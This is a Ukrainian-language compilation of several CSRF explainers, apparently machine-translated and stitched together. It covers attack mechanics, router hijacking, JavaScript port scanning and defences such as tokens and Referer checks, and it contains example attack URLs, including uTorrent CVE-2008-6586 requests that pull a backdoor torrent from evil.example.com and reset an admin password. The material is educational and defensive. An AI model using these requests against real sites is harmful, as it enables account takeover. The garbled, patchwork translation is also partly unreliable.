→ Csrf значення. Що таке CSRF? Значення терміна CSRF

Csrf значення. Що таке CSRF? Значення терміна CSRF

Cross-Site Request Forgery - багато шуму через нічого

Alexander Antipov

Останнім часом у співтоваристві фахівців з безпеки Web-додатків широко обговорюється «новий» тип вразливостей, який отримав назву Cross-Site Request Forgery (CSRF або XSRF). Пропонована до уваги читача стаття містить опис цього вразливостей, методів його використання та основні походи до захисту.


Сергій Гордійчик

Gоrdey @ ptsеcurity com

Останнім часом у співтоваристві фахівців з безпеки Web-додатків широко обговорюється «новий» тип вразливостей, який отримав назву Cross-Site Request Forgery (CSRF або XSRF). Пропонована до уваги читача стаття містить опис цього вразливостей, методів його використання та основні походи до захисту. Загальноприйнятий російський термін для позначення Cross-Site Request Forgery ще не витримався, у зв'язку з чим автор пропонує використовувати варіант "Підробка HTTP-запитів".

Ліричний відступ

Насамперед, хотілося б зупинитися на основних помилках пов'язаних із CSRF:

1. Підробка запитів HTTP – новий тип вразливостей.

Це не так. Теоретичні роздуми на тему підробки джерела повідомлень датовані 1988 роком (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), а практичні приклади вразливостей обговорюються Bugtraq як мінімум з 2000 року (http://www. zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Сам термін запроваджено Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) у 2001 році.

2. CSRF – це варіант Міжсайтового виконання сценаріїв (XSS).

Єдина схожість між CSRF і XSS, це використання як вектор атаки клієнтів Web-додатків (Client-Side Attack у термінології WASC http://www.webappsec.org/projects/threat/). Вразливості типу CSRF можуть експлуатуватися спільно з XSS або «редиректорами» (http://www..php), але є окремим класом уразливостей.

3. Вразливість CSRF мало поширена та досить складна у використанні.

Дані, отримані компанією Positive Technologies в ході робіт з тестування на проникнення та оцінки захищеності Web-додатків показують, що ця вразливість піддається більша частина Web-додатків. На відміну від інших уразливостей CSRF виникає не внаслідок помилок програмування, а є нормальною поведінкою Web-сервера та браузера. Тобто. більшість сайтів, що використовують стандартну архітектуру, вразливі «за замовчуванням».

Приклад використання

Давайте розглянемо використання CSRF з прикладу. Припустимо, існує певний Web-додаток, що надсилає повідомлення електронної пошти. Користувач вказує адресу електронної пошти та текст повідомлення, натискає кнопку Submit та повідомлення від його адреси передається одержувачу.

Мал. 1. Надсилання повідомлення

Схема знайома з безлічі сайтів і не викликає жодних заперечень. Проте вказана програма з великою ймовірністю вразлива для атак «Підробка HTTP-запиту». Для експлуатації вразливості зловмисник може створити на своєму сайті сторінку, яка містить посилання на «зображення», після чого змусити користувача перейти за посиланням на свій сайт (наприклад, http://bh.ptsecurity.ru/xcheck/csrf.htm).

Під час звернення до сторінки браузер користувача намагається завантажити зображення, навіщо звертається до вразливому додатку, тобто. надсилає повідомлення електронної пошти одержувачу, вказаному в полі "to" запиту.

Мал. 2. Атака CSRF

Зауважте, що браузер користувача надішле сайту значення Cookie, тобто. запит буде сприйнятий як вихідний від автентифікованого користувача. Для того, щоб змусити користувача завантажити сторінку, що надсилає запит до вразливого сервера, зловмисник може використовувати методи соціальної інженерії, а також технічні вразливості, такі як XSS та помилки реалізації функції перенаправлення.

Мал. 3. Логіка роботи CSRF

Таким чином, атака з використанням CSRF полягає у використанні браузера користувача для передачі HTTP-запитів довільним сайтам, а вразливість – без перевірки джерела HTTP-запиту. Наведений у прикладі додаток використовує HTTP-метод GET для передачі параметрів, що спрощує життя зловмиснику. Однак не варто думати, що використання методу POST автоматично усуває можливість проведення атак із підробкою HTTP-запиту. Сторінка на сервері зловмисника може містити готову HTML-форму, яка автоматично надсилається під час перегляду сторінки.

Для експлуатації CSRF зловмиснику зовсім не обов'язково мати власний Web-сервер. Сторінка, що ініціює запит може бути передана електронною поштою або іншим способом.

В огляді Billy Hoffman наведено різні методимережевої взаємодії за допомогою Javascript. Всі вони, включаючи XmlHttxmpquest (у деяких ситуаціях), можуть бути задіяні для атак CSRF.

Сподіваюся, що зараз читачеві вже зрозуміла основна відмінність CSRF від XSS. У випадку з XSS зловмисник отримує можливість доступу до DOM (Document Object Model) вразливої ​​сторінки як на читання, так і на запис. При виконанні CSRF атакуючий може передати запит серверу за допомогою браузера користувача, але отримати і проаналізувати відповідь сервера, а тим більше його заголовок (наприклад, Cookie) вже не зможе. Відповідно, "Підробка HTTP-запитів" дозволяє працювати з додатком в режимі "тільки на запис", чого, втім, цілком достатньо для виконання реальних атак.

Основними цілями CSRF-атак є різні інтерактивні Web-програми, наприклад системи електронної пошти, форуми, CMS, інтерфейси віддаленого керування мережевим обладнанням. Наприклад, зловмисник може надсилати повідомлення від імені інших користувачів, додавати нові облікові записи або змінювати налаштування маршрутизатора через Web-інтерфейс.

Мал. 4. Приклад експлуатації CSRF у форумі

Зупинимося докладніше на останньому зміні налаштувань мережевих пристроїв. Автор вже по відношенню до систем виявлення бездротових атак, але природно, ними справа не обмежується.

Пробиваємо периметр

У грудні минулого року компанія Symantec опублікувала звіт про «нову» атаку під назвою «Drive-By Pharming», яка, по суті, є варіантом експлуатації CSRF. Зловмисник виконує у браузері користувача якийсь «чарівний» JavaScript, що змінює налаштування маршрутизатора, наприклад, що встановлює нове значення DNS-сервера. Для виконання цієї атаки необхідно вирішити такі завдання:

Сканування портів за допомогою JavaScript;

Визначення типу Web-програми (fingerprint);

Підбір пароля та аутентифікація за допомогою CSRF;

Зміна параметрів вузла за допомогою атаки CSRF.

Техніка сканування визначення доступності Web-сервера та його типу за допомогою JavaScript опрацьована досить добре і зводиться до динамічного створення HTML-об'єктів (наприклад, img src=), що вказують на різні внутрішні URL (наприклад, http://192.168.0.1/pageerror.gif). Якщо «картинка» була успішно завантажена, то за адресою, що тестується, розташований Web-сервер на базі Microsoft IIS. Якщо у відповідь була отримана помилка 404, порт відкритий і на ньому працює Web-сервер. Якщо був перевищений тайм-аут - сервер відсутній в мережі або порт заблокований на міжмережевому екрані. Ну і в інших ситуаціях - порт закритий, але хост доступний (сервер повернув пакет RST і браузер повернув помилку до закінчення таймууту). У деяких ситуаціях подібне сканування портів із браузера користувача може проводитись без використання JavaScript(http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Після визначення типу пристрою зловмисник може спробувати змусити браузер користувача відразу надіслати запит на зміну налаштувань. Але такий запит буде успішним лише у випадку, якщо браузер користувача вже має активну автентифіковану сесію з пристрою. Мати під рукою відкриту сторінкууправління маршрутизатором – погана звичка багатьох «просунутих» користувачів.

Якщо активної сесії з інтерфейсом управління немає, зловмиснику необхідно пройти автентифікацію. Якщо у пристрої реалізована аутентифікація на основі форм, жодних проблем не виникає. Використовуючи CSRF у POST, серверу надсилаються запит на авторизацію, після чого з нього завантажується зображення (або сторінка) доступна лише автентифікованим користувачам. Якщо зображення було отримано, то автентифікація пройшла успішно, і можна приступати до подальших дій, інакше – пробуємо інший пароль.

У випадку, якщо в пристрої, що атакується, реалізована аутентифікація за методом Basic, завдання ускладнюється. Браузер Internet Explorerне підтримує можливість вказати ім'я користувача та пароль в URL (наприклад, http://user: [email protected]). У зв'язку з цим для виконання Basic-автентифікації може використовуватися метод із додаванням HTTP-заголовків за допомогою Flash, описаний у статті. Однак цей метод підходить тільки для старих версій Flash, які зустрічаються все рідше.

Але інші брузери, наприклад Firefox дають можливість вказати ім'я користувача та пароль в URL, і можуть бути використані для автентифікації на будь-якому сервері, причому це можна зробити без створення повідомлення про помилку у разі вибору невірного пароля.

Приклад сценарію для «тихої» автентифікації методом Basic, з блогу Stefan Esser наведено нижче.

Firefox HTTP Auth Bruteforcing

Мал. 5. Аутентифікація Basic у Firefox

У корпоративному середовищі, де найчастіше використовуються механізми SSO, наприклад, на базі домену Active Directoryта протоколів Kerberos та NTLM експлуатація CSRF не потребує додаткових зусиль. Браузер автоматично пройде аутентифікацію в контексті безпеки поточного користувача.

Після того, як аутентифікація була пройдена, зловмисник за допомогою JavaScript передати запит, що змінює довільні налаштування маршрутизатора, наприклад, адресу DNS-сервера.

Методи захисту

Перше, що спадає на думку, коли мова заходить про захист від CSRF - це перевірка значення заголовка Referer. І справді, оскільки підробка HTTP-запитів полягає у передачі запиту з третього сайту, контроль вихідної сторінки, чия адреса автоматично додається браузером до заголовків запиту, може вирішити проблему.

Однак цей механізм має низку недоліків. По-перше – перед розробником постає питання обробки запитів, які мають заголовка Referer як такого. Багато хто з персональних міжмережевих екраніві анонімізірующіе proxy-серверів вирізають Referer, як потенційно небезпечний заголовок. Відповідно, якщо сервер ігноруватиме подібні запити, група найбільш «параноїдально» налаштованих громадян не зможуть з ним працювати.

По-друге, у деяких ситуаціях заголовок Referer може бути підроблений, наприклад, за допомогою вже згадуваного трюка з Flash. Якщо користувач застосовує IE 6.0, вміст заголовка запиту може бути модифікований з використанням помилки в реалізації XmlHttxmpquest. Вразливість полягає у можливості використання символів перекладу рядка на ім'я HTTP-методу, що дозволяє змінювати заголовки і навіть впроваджувати додатковий запит. Ця вразливість була виявлена ​​Amit Clein () у 2005 році і знову відкрита у 2007. Обмеженням цього методу є те, що він працює тільки у разі наявності між користувачем та сервером HTTP-Proxy або розміщення серверів на одній IP-адресі, але з різними доменними іменами.

Інший поширений метод – додати унікальний параметр до кожного запиту, який потім перевіряється сервером. Параметр може додаватися до URL при використанні GET запиту як наприклад, або у вигляді захованого параметра форми, при використанні POST. Значення параметра може бути довільним, головне, щоб зловмисник не міг його передбачити, наприклад, значення сесії користувача.

Мал. 6. Захист від CSRF у Bitrix

Для швидкого додавання функції перевірки CSRF у свою програму можна скористатися таким підходом:

1. Додавати в кожну сторінку, що генерується, невеликий JavaScript, що дописує у всі форми додатковий прихований параметр, якому присвоюється значення Cookie.

2. Перевірити на сервері, що передані клієнтом за допомогою методу POST дані містять значення, що дорівнює поточному значенню Cookie.

Приклад такого клієнтського сценарію наведено нижче:

Подальшим розвитком цього підходу є збереження ідентифікатора сесії над Cookie, а ролі прихованого параметра форми (наприклад, VIEWSTATE).

Як метод протидії CSRF можуть використовуватися різні варіанти тестів Тьюринга, наприклад, добре відомі всім зображення - CAPTCHA. Іншим популярним варіантом є необхідність введення пароля користувачау разі зміни критичних налаштувань.

Мал. 7. Захист від CSRF у mail.ru

Таким чином, Cross-Site Request Forgery є атакою, спрямованою на клієнта Web-програми та використовує недостатню перевірку джерела HTTP-запиту. Для захисту від подібних атак може використовуватись додатковий контроль джерела запиту на основі заголовка Referer або додаткового «випадкового» параметра.

Сергій Гордійчик працює системним архітектором компанії Positive Technologies, де він спеціалізується з питань безпеки додатків, безпеки бездротових та мобільних технологій. Автор також є провідним розробником курсів «Безпека бездротових мереж», «Аналіз та оцінка захищеності Web-додатків» навчального центру «Інформзахист». Опублікував кілька десятків статей у “Windows IT Pro/RE”, SecurityLab та інших виданнях. Є учасником проектів Web Application Security Consortium (WASC).

Та я пам'ятаю, що я обіцяв у попередньому повідомленні написати про капчу, але, чесно кажучи, писати про ці капчі у мене вже сил немає. Та й набридло те, що мені, як аналітику ІБ, приходять в особу тільки пропозиції щодо злому капч, і ніякої іншої нормальноюроботи.

Загалом підніматимуся в очах публіки, почну писати статті щодо безпеки. Мій профіль це в основному безпеку веб-додатків, тому і писати я буду про безпеку веб-додатків, у тому числі і про вразливість цих додатків.

Цей цикл статей буде присвячено CSRF вразливості. Чи не чули такий термін? Значить цей цикл для вас;

Вступ

Звичайно, нині вже кожен досвідчений розробник чув про такі класичні вразливості як:

  • SQL injection
  • PHP include

Раніше, на зорі розвитку інтернету, практично кожен додаток містив купу таких вразливостей. Але з кожним днем ​​ставало все складніше зустріти вразливість такого типу. І зломщики ставали дедалі витонченішими, що призводило до розробок нових типів і векторів атаки — один із цих типів атаки був виділений в окремий клас і отримав назву CSRF.

Що таке CSRF? Теорія

Зайдемо на вікіпедію:

CSRF (англ. Сross Site Request Forgery – «Підробка міжсайтових запитів», також відомий як XSRF) – вид атак на відвідувачів веб-сайтів, що використовує недоліки протоколу HTTP. Якщо жертва заходить на сайт, створений зловмисником, від її особи таємно надсилається запит на інший сервер (наприклад, сервер платіжної системи), що здійснює якусь шкідливу операцію (наприклад, переказ грошей на рахунок зловмисника). Для здійснення даної атаки жертва повинна бути авторизована на тому сервері, на який надсилається запит, і цей запит не повинен вимагати будь-якого підтвердження з боку користувача, який не може бути проігнорований або підроблений скриптом.

Якщо більш зрозумілою мовою, то це атака, коли зловмисник намагається змусити браузер жертви створити запит до цільового сервера, потай від самої жертви. Схематично це виглядатиме так:

Ця атака в чомусь схожа на класичну XSS, в якій зловмиснику необхідно було змусити жертву перейти за деяким посиланням на вразливу сторінку. Тут необхідно примусити користувача перейти на спеціально підготовлену зловмисником сторінку, на яку був доданий певний код. Під час виконання цього коду браузер жертви здійснює певний запит до іншого серверу (припустимо під виглядом завантаження зображення), і цим виконує деякі, необхідні зловмиснику, події.

Небезпека CSRF в тому, що ця поведінка браузерів і всього протоколу HTTP є нормальною. Наприклад, нормально те, що сайт може на своїх сторінках містити картинки з іншого сайту. А браузеру невідомо заздалегідь, що саме намагаються змусити його завантажити, дійсно картинку, або під виглядом даного завантаження буде виконано якусь дію на цільовому сайті.

Трохи практики

Візьмемо, наприклад, цільовий сферичний сайт у вакуумі, який має цілком стандартну адмінку з функцією додавання нового адміністратора:

Розробник цієї форми нічого не знав про вразливість CSRF, і захисту від неї він, звичайно, не робив. Ну і плюс до всього (щоб приклад був простішим) він передавав дані методом GET. За натисканням кнопки "створити" браузер сформує запит до наступної сторінки:
http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
І після того, як запит буде виконано, на цьому сайті з'явиться новий адміністратор. Здавалося б, що з того — це цілком звичайна функціональність на багатьох сайтах. Але тут і криється головна помилка. Жертву можна змусити виконати цей запит під час заходу на абсолютно інший сайт. Створюємо наступну сторінку за адресою http://evil/page.html


Звичайна сторінка


З звичайним текстом. Але з незвичайним вмістом



І тепер, якщо жертва зайде на http://evil/page.html, то браузер спробує завантажити картинку, але натомість виконає запит до адмін панелі, тим самим створивши нового адміністратора. Єдиною обов'язковою умовою успішної експлуатації даної вразливості є необхідність того, що жертва має бути авторизована на вразливому сервері в момент проведення атаки.

Висновок

З тим, що таке CSRF, ми розібралися. Давайте спробуємо виділити основні вимоги для успішного проведення атаки:

  • Можливість змусити жертву перейти на сторінку із додатковим кодом. Або можливість модифікації зловмисником часто відвідуваних жертвою сторінок (як то кажуть, якщо гора не йде до Магомета, то…).
  • Відсутність захисту від CSRF на цільовому сайті (про неї).
  • Користувач в момент атаки має бути авторизований для дії, яку хочемо виконати від його імені.

І на основі цих вимог спробуємо збудувати захист у наступній статті…

Запит Міжсайтові підробки, також відома як один клік атакиабо сеанс їздиі скорочено CSRF(іноді виражений морський прибій) або XSRF, є одним з видів шкідливих експлуатують з веб-сайту, де несанкціоновані команди передаються від користувача, що веб додаток довіряє. Є багато способів, у яких шкідливий веб-сайт може передавати такі команди; спеціально створені теги зображень, приховані форми та JavaScript XMLHttpRequests, наприклад, все це може працювати без взаємодії користувача або навіть знання. На відміну від міжсайтового скриптингу (XSS), який використовує довіру користувача для конкретного сайту, CSRF експлуатує довіру, що сайт має у браузері користувача.

історія

CSRF уразливості відомі й у деяких випадках експлуатації з 2001 року Оскільки здійснюється від користувача IP-адресу, деякі журнали веб-сайту може мати докази CSRF. Експлойти занижені принаймні публічно і станом на 2007 р. було кілька добре документованих прикладів:

  • Netflix веб-сайт в 2006 році були численні вразливості до CSRF, які могли б дозволити атакуючому виконувати такі дії, як додавання DVD в оренду черги жертви, змінити адресу доставки на рахунку або зміни облікових даних для входу жертви, щоб повністю скомпрометувати рахунок,
  • Онлайн-банкінг веб-додаток ING Direct була вразлива для атак CSRF, що дозволило незаконних грошових переказів.
  • Популярне відео веб-сайт YouTube був також уразливий для CSRF у 2008 році, і це дозволило будь-якому зловмиснику виконати практично всі дії будь-якого користувача.
  • McAfee також уразливий для CSRF, що дозволило зловмисникам змінити свою систему компанії.

Нові напади на веб-пристрої були здійснені в 2018 році, у тому числі спроби змінити налаштування DNS маршрутизаторів. Деякі виробники маршрутизаторів поспішно випустили оновлення прошивки для покращення захисту, і порадили користувач змінювати налаштування маршрутизатора, щоб зменшити ризик. Подробиці були звільнені, посилаючись на «очевидні міркування безпеки».

Приклад та характеристики

Зловмисники, які можуть знайти відтворюване посилання, яка виконує певну дію на цільовій сторінці, поки жертва реєструється може вбудувати таке посилання на сторінці, яку вони контролюють і обдурити жертву в його відкритті. Посилання атаки носія може бути розміщене в місці, що жертва, швидше за все, відвідати, увійшовши до сайту - мішені (наприклад, обговорення на форумі), або відправити в тілі листи HTMLабо вкладення. Реальний CSRF вразливості в Utorrent (CVE-2008-6586) використовували той факт, що його веб-консоль доступна на локальному хості: 8080 дозволило критичні дії, які будуть виконуватися за допомогою простого запиту GET:

Примусова .torrent файл завантажити HTTP: // локальний: 8080 / GUI / дія = додавання URL & s = HTTP: //evil.example.com/backdoor.torrent Зміна пароля адміністратора Utorrent HTTP: // локальний: 8080 / гуй / дія = setsetting & s = webi.password & v = eviladmin

Атаки були запущені шляхом розміщення зловмисних, автоматичної діїелементів HTML зображень на форумах та спаму в електронній пошті , так що браузери, які відвідують ці сторінки, будуть відкривати їх автоматично, без особливих дій з боку користувача. Люди, які працюють вразливу версію Utorrent в той же час, відкриваючи ці сторінки були атаковані.

CSRF атак з використанням тегів зображень часто робляться з інтернет-форумів, де користувачі можуть розміщувати повідомлення зображення, але не JavaScript, наприклад, з використанням BBCode:

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

При зверненні до посилання атаки на місцевому застосуванні Utorrent на локальному хості: 8080, браузер також завжди автоматично відправлятиме будь-які існуючі куки для цього домену. Це загальна властивістьвеб-браузерів дозволяє CSRF атак використовувати свої цільові вразливості та виконання ворожих дій до тих пір, поки користувач увійшов до цільового веб-сайту (в даному прикладі локального веб-інтерфейсу Utorrent) в момент нападу.

Запит підробку крос-сайт є заплутатися заступник атаки проти веб-браузера.

CSRF зазвичай має такі характеристики:

  • Вона включає сайти, які покладаються на користувача ідентичності .
  • Він використовує довіру сайту у цій ідентичності.
  • Вона обманює браузер користувача у відправці HTTP – запити на цільовий сайт.
  • Вона включає HTTP запити, які мають побічні ефекти .

HTTP дієслова та CSRF

  • У HTTP GET експлуатація CSRF тривіальна, використовуючи методи, описані вище, такі як просте гіперпосилання , що містить параметри маніпулюють і автоматично завантажується за допомогою тега IMG . За специфікацією HTTP однак, GET слід використовувати як безпечний метод, тобто істотно не змінюючи стан користувача в додатку. Програми, які використовують GET для таких операцій, слід переключитися на HTTP POST або використовувати захист від CSRF.
  • HTTP POST має різні уразливості до CSRF, залежно від докладних сценаріїв використання:
    • У найпростішому вигляді POST з даними, що закодовані у вигляді рядка запиту (field1=value1&field2=value2) CSRF атаки легко реалізується за допомогою простої форми HTML і анти-CSRF заходи повинні бути застосовані.
    • Якщо дані передаються в будь-якому іншому форматі (JSON , XML) стандартний метод видати запит POST з використанням XMLHttpRequest з CSRF атак запобігли СОП і ; є метод для відправки довільного вмісту із простої форми HTML з використанням ENCTYPE атрибута; такий підроблений запит можна відрізнити від легітимних за text/plain типу контенту, але якщо це не виконується на сервері, CSRF може бути виконаний
  • інші методи HTTP (PUT, DELETE і т.д.) може бути виданий тільки з використанням XMLHttpRequest з СОП та запобігання CSRF; Однак ці заходи не будуть активними на веб-сайтах, які явно відключити їх за допомогою Access-Control-Allow-Origin: * заголовка

Інші підходи до CSRF

Крім того, в той час, як правило, описуються в якості статичного типу атаки, CSRF також може бути динамічно побудована як частина корисного навантаження для сценаріїв міжсайтової атаки, як показано на Samy черв'як, або побудований на льоту з інформації про сеанс проникли через виїзні змісти і послав до мети, як шкідливий URL. CSRF токени також може бути відправлені клієнтом зловмисником через фіксацію сесії або інші вразливості, або вгадали за допомогою грубої сили атаки, що перекладається на шкідливій сторінці, що генерує тисячі невдалих запитів. Клас атаки «Dynamic CSRF», або за допомогою корисного навантаження кожного клієнта для сеансу конкретного фальсифікації, була описана в 2009 році Натан Hamiel і Шон Мойер на BlackHat брифінгах, хоча систематика ще, щоб отримати ширше застосування.

Новий вектор для складання динамічних атак CSRF був представлений Орен Офер на місцевих зборах OWASP глави січня 2012 - "АЯКС Молот - Dynamic CSRF".

Наслідки

Серйозність показники були випущені на вразливості CSRF, які призводять до віддаленого виконання коду з привілеями суперкористувача, а також уразливість, яка може скомпрометувати кореневий сертифікат, який повністю підірве інфраструктуру відкритого ключа.

Обмеження

Деякі речі повинні відбутися для запиту міжсайтового підроблення, щоб досягти успіху:

  1. Зловмисник повинен призначатися або сайт, який не перевіряє заголовок реферера або жертву за допомогою браузера або плагін, який дозволяє Referer підміну.
  2. Атакуючий повинен знайти форму подання на цільовому сайті, або URL, який має побічні ефекти, що робить щось (наприклад, переказує гроші, або зміни адреси електронної пошти жертви або пароль).
  3. Атакуючий повинен визначити правильні значення для всіх форм або входів URL; якщо будь-який з них повинні бути секретні значення автентифікації або ідентифікатори, що зловмисник не зможе здогадатися, що напад, швидше за все, не в змозі (якщо зловмисник не дуже пощастило у їхній здогад).
  4. Зловмисник повинен заманити жертву на веб-сторінку зі шкідливим кодом, доки жертва реєструється на цільовому сайті.

Атака сліпа: атакуючий не може бачити те, що цільовий сайт відсилає назад до жертви у відповідь на ковані запити, якщо вони не експлуатують Міжсайтовий скриптинг або іншу помилку на цільовому сайті. Крім того, зловмисник може призначатися тільки будь-яке посилання або представити будь-які форми, які приходять після початкового кованого запиту, якщо ці наступні посилання або форми так само передбачувані. (Множинні цілі можуть бути змодельовані шляхом увімкнення кількох зображень на сторінці, або за допомогою JavaScript , щоб ввести затримку між клацаннями.)

З урахуванням цих обмежень, зловмисник може мати труднощі у пошуку анонімів жертв або вразливу форму подання. З іншого боку, спроби атаки легко монтуються і непомітно для жертв, і розробники додатків менш знайомі і підготовлені до атак CS, ніж вони, скажімо, для злому паролів атак за словником.

профілактика

Більшість методів профілактики CSRF працює шляхом впровадження додаткових даних аутентифікації в запити, що дозволяє веб-додаток для виявлення запитів від несанкціонованих місць.

Синхронізатор маркер моделі

  • При вході в систему веб-додаток встановлює печиво, що містить випадковий маркер, який залишається незмінним протягом усього сеансу користувача
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age = 31449600; Path=/
  • JavaScript працює на стороні клієнта зчитує значення і копіює його в заголовок користувача HTTP відправленого з кожним транзакційного запиту
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Сервер перевіряє наявність та цілісність маркерів.

Безпека цього методу заснована на припущенні, що тільки JavaScript працює в межах того ж походження, буде мати можливість прочитати значення куків. JavaScript працює з ізгоями файлу або адреса електронної пошти не буде в змозі прочитати і скопіювати в заголовок користувача. Навіть незважаючи на те, CSRF-маркер кукібудуть автоматично відправлені з ізгоїв запиту, сервер буде як і раніше чекає дійсний X-CSRF-токен Заголовок .

Маркер CSRF сам має бути унікальним та непередбачуваним. Це може бути згенеровано випадковим чином, або вона може бути отримана з маркерів сеансу з використанням HMAC :

Csrf_token = HMAC (session_token, application_secret)

Маркер печиво CS не повинно мати HTTPOnly прапор, оскільки він призначений для читання за допомогою JavaScript дизайну.

Цей метод реалізується багатьма сучасними рамками, такими як Джанго та AngularJS. Оскільки маркер залишається постійним протягом всього сеансу користувача, він добре працює з AJAX - додатків, але не забезпечує послідовність подій у веб-додатках.

Захист забезпечується за допомогою цього методу може бути зірвано, якщо цільовий веб-сайт відключаєсвою політику того ж походження , використовуючи один із таких методів:

  • Дозвільний Access-Control-Allow-Origin заголовок (із зірочкою аргументу)
  • clientaccesspolicy.xml файл надання ненавмисного доступу до Silverlight управління
  • crossdomain.xml файл надання ненавмисного доступу до флеш-роликів

Двомісний Надіслати Cookie

Аналогічно підхід печиво до заголовка, але без участі JavaScript, сайт може встановити маркер CSRF як печиво, а також вставити його в прихованому полі в кожній HTML формі, що надсилається клієнт. Коли форму відправлено, сайт може перевірити, що маркер печива відповідає формі маркерів. Політика загального походження перешкоджає зломщику від читання або встановлення куків на цільовому домені, тому вони не можуть поставити правильний маркер у створеному вигляді.

Перевага цього методу над малюнком синхронізатора і те, що маркер повинен зберігатися на сервері.

Клієнтські гарантії

Розширення браузера, такі як RequestPolicy (для Mozilla Firefox) або Umatrix (як Firefox і Google Chrome / Chromium) може запобігти CSRF, надаючи політику за умовчанням, заперечую для запитів крос-сайту. Тим не менш, це може суттєво перешкодити нормальній роботі багатьох сайтів. Розширення CsFire (також для Firefox) може пом'якшити вплив CSRF з меншим впливом на звичайному перегляді шляхом видалення інформації про автентифікацію від запитів крос-сайту.

CSRF (Сross Site Request Forgery - підробка міжсайтових запитів) Так само відомий як XSRF. Цей видатак на відвідувачів інтернет-сайтів використовує недоліки протоколу HTTP. Якщо жертва зайде на сайт, спеціально створений зловмисником, то від її особи таємно відправиться запит на сторонній сервер (наприклад сервер електронних платежів), який здійснює якусь шкідливу операцію (переказ грошей на рахунок хакера). Для успіху цієї атаки жертва повинна бути авторизована на сервері, на який надішлеться запит. Сам запит не повинен вимагати підтвердження користувача.

Попри існуючу думку, цей тип атак з'явився дуже давно. Теоретичні міркування з цього питання з'явилися ще 1988 року, а перші вразливості виявили 2000 року.

Одним із застосувань CSRF є експлуатація пасивних XSS, виявлених на іншому сервері. Можливі також спам-розсилки від імені жертви, зміна налаштувань облікового записуна іншому сайті.

Самим простим способомЗахист від подібного типу атак є механізм, коли сайт вимагає підтвердження майже всіх дій користувача.

Іншим способом захисту є механізм, коли із сесією користувача асоціюється секретний ключ, необхідний виконання POST-запросов. Ключ надсилається користувачем усередині кожного запиту, під час виконання різних дій, а сервер перевіряє цей ключ. Плюс механізму без необхідності здійснювати парсинг поля HTTP_REFERER, а отже відпадає необхідність урахування багатьох нюансів можливих варіантіввідсутності чи присутності різних елементів цього поля.


Я спробував описати, що саме являє собою дану вразливість і, що не маловажно, виконання яких умов необхідне для проведення атаки типу CSRF.

У цій статті я спробую розповісти про захист від атак даного типузі сторін:

  • З боку клієнта – основні способи захистити себе самому
  • З боку сервера – правильне проектування програми

Якщо вам цікаво як захиститися від CSRF, то ласкаво просимо під кат.

Загальна інформація

Загалом хочу нагадати, CSRF — це НЕ вразливість, це вид атаки. І дана атака проводиться на кінцевого користувача веб-додатку за допомогою вразливості в даному додатку, Яку можна назвати як «Відсутність належної перевірки джерела запиту» (назва я придумав сам, не судіть суворо, але це так). Але тут і далі я називатиму CSRF вразливістю та атакою в одній особі так, як це простіше, та й саме так прийнято =)

І якщо атака проводиться на користувача, то й користувачеві захищатися… Справа в тому, що будь-який користувач може знизити можливість проведення даної атаки на будь-якому сайті, яким він користується (навіть якщо на цих сайтах немає вбудованого захисту від CSRF). Але крім користувачів, самі розробники сайтів можуть спроектувати свою програму так, щоб уникнути можливості проведення даної атаки на своїх користувачів.

Розглянемо захист із обох сторін.

Захист з боку користувача

Втім тут все дуже банально:

  • Не переходити на посилання, запропоновані вам третіми особами. Це найбанальніша порада, я думаю це все й так знають, але вирішив зайвий раз сказати про це.
  • Деавторизуватися після закінчення роботи з конкретним сайтом. Навіть за наявності вразливості, зловмисник не зможе виконати дії на цільовому сайті від вашого імені.
  • Використовувати окремий браузер або «приватні або анонімні режими» для роботи з важливими сайтами (в ідеалі використовувати по одному браузеру на кожен сайт ^_^ а ще краще окремий комп'ютер:D).

На цьому все. Тепер перейдемо до головного.

Захист з боку розробників

Як було зазначено, вразливість полягає у відсутності належної перевірки джерела запиту. Тобто при розробці програми нам потрібно вбудувати функціонал перевірки цього джерела. І що ж насамперед нам спадає на думку? Правильно! Перевірка Referer.

Перевірка Referer

Відразу скажу, для тих, хто читає статті з діагоналі. Грунтувати свій захист тільки на перевірці цього заголовка - погано (!).Чому див. далі.

Спочатку розберемося, у чому полягає цей метод.

З сайтами ми працюємо за протоколом HTTP. Кожен пакет цього протоколу є набір заголовків + вміст пакета. Одним із цих заголовків є Referer. Він містить адресу джерела переходу. Банальний приклад: у вас відкритий сайт A, на даному сайті ви натискаєте на посилання на сайт B, в цей момент при запиті в заголовку Referer буде міститься адреса сайту A. Тобто здавалося б це ідеальний механізм для відстеження, звідки прийшов користувач.

А ось хрін. І справа тут не в тому, що можна підробити реферер (який розсудливий зломщик проситиме жертву про те, щоб вона підмінила реферер і перейшла за вказаним посиланням). А в тому, що за моєю статистикою у близько 5% користувачів передача Referer відключена. Тобто або ці п'ять відсотків не зможуть працювати із сайтом взагалі, або вони будуть уразливі до цієї атаки (залежить від політики вашої програми).

Так, так, так, я знаю про що ви подумали ... Ну і фіг з цими 5%? Нехай будуть уразливі, зате решту 95% захищено і при цьому ви обійшлися малою кров'ю. Тобто якщо реферер містить адресу нашого додатка чи порожній, то вважаємо джерело підтвердженим? А ось знову хрін! Існують варіанти змусити браузер жертви виконати запит без вказівки реферера (про це я написав)! І вуаля! Виявляється всі користувачі, як і раніше, вразливі.

Воочем як самостійний спосіб даний методбезглуздий.

Підтвердження дії

Можна до кожної форми відправки прикрутити капчу, і показувати її навіть для зареєстрованих користувачів, щоб врятувати їх від CSRF… Хоча мабуть, я б віддав перевагу віддати свій аккаунт хакеру, ніж працювати в такій системі…

Токени

Ну і тепер єдиний правильний та надійний спосіб.

Сенс даного способуполягає в додаванні параметра, що містить деякий «токенів» до кожного посилання, формі відправки та ін. А при отриманні запиту сервер повинен перевіряти наявність токена в прийнятих параметрах. Звичайно кожен токен для кожного користувача повинен бути унікальним, а ще краще якщо кожентокен буде унікальним.

Один з найпростіших і надійних прикладів реалізації - токен генерується при кожному запиті новий і встановлюється в cookies користувача, а також додається до параметрів форм і посилань на сторінці:

